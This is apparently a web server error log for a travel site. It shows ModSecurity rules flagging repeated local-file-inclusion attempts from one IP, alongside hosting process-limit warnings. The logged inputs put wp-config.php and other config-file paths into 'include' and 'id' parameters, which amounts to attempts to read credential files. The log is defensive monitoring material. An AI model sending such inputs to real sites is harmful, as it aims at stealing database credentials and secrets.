[Fri Jul 17 08:55:46.587197 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB2gAAAAQ"]
[Fri Jul 17 08:55:46.587347 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.587794 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguroj0IkvhSCYadmB2gAAAAQ"]
[Fri Jul 17 08:55:46.589718 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:include: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulh1WDijTxd1xw5MdQAAAAc"]
[Fri Jul 17 08:55:46.590584 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulh1WDijTxd1xw5MdQAAAAc"]
[Fri Jul 17 08:55:46.590762 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.591200 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgulh1WDijTxd1xw5MdQAAAAc"]
[Fri Jul 17 08:55:46.595091 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:include: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa7wAAAAo"]
[Fri Jul 17 08:55:46.595233 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:include: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAcwAAAAk"]
[Fri Jul 17 08:55:46.595726 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa7wAAAAo"]
[Fri Jul 17 08:55:46.595826 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.596001 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAcwAAAAk"]
[Fri Jul 17 08:55:46.596120 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgujsMb3am0TgkjETa7wAAAAo"]
[Fri Jul 17 08:55:46.596199 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.596568 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguhJ0z2bEtnOrIXVAcwAAAAk"]
[Fri Jul 17 08:55:46.600680 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:include: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgunRlmrtCoY_COpcmFwAAAAg"]
[Fri Jul 17 08:55:46.600759 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:include: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk-wAAAAI"]
[Fri Jul 17 08:55:46.601515 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk-wAAAAI"]
[Fri Jul 17 08:55:46.601522 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgunRlmrtCoY_COpcmFwAAAAg"]
[Fri Jul 17 08:55:46.601685 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.601685 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.602119 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguo1dLClkUfK_dfHk-wAAAAI"]
[Fri Jul 17 08:55:46.602127 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgunRlmrtCoY_COpcmFwAAAAg"]
[Fri Jul 17 08:55:46.608322 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.619937 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.639826 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.643547 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.645542 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.663642 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.664887 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.679037 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.688923 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.704160 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.717802 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.717802 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.719942 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.723194 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:id: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk_QAAAAI"]
[Fri Jul 17 08:55:46.723753 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk_QAAAAI"]
[Fri Jul 17 08:55:46.723847 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.724157 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguo1dLClkUfK_dfHk_QAAAAI"]
[Fri Jul 17 08:55:46.725449 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.727796 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:id: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguol9vhFBGA6D8l96JAAAAAw"]
[Fri Jul 17 08:55:46.728367 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguol9vhFBGA6D8l96JAAAAAw"]
[Fri Jul 17 08:55:46.728519 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.728776 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguol9vhFBGA6D8l96JAAAAAw"]
[Fri Jul 17 08:55:46.729576 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:id: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa8wAAAAo"]
[Fri Jul 17 08:55:46.729906 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:id: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgukkXT4NBqALj2lZ8-QAAABA"]
[Fri Jul 17 08:55:46.730167 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa8wAAAAo"]
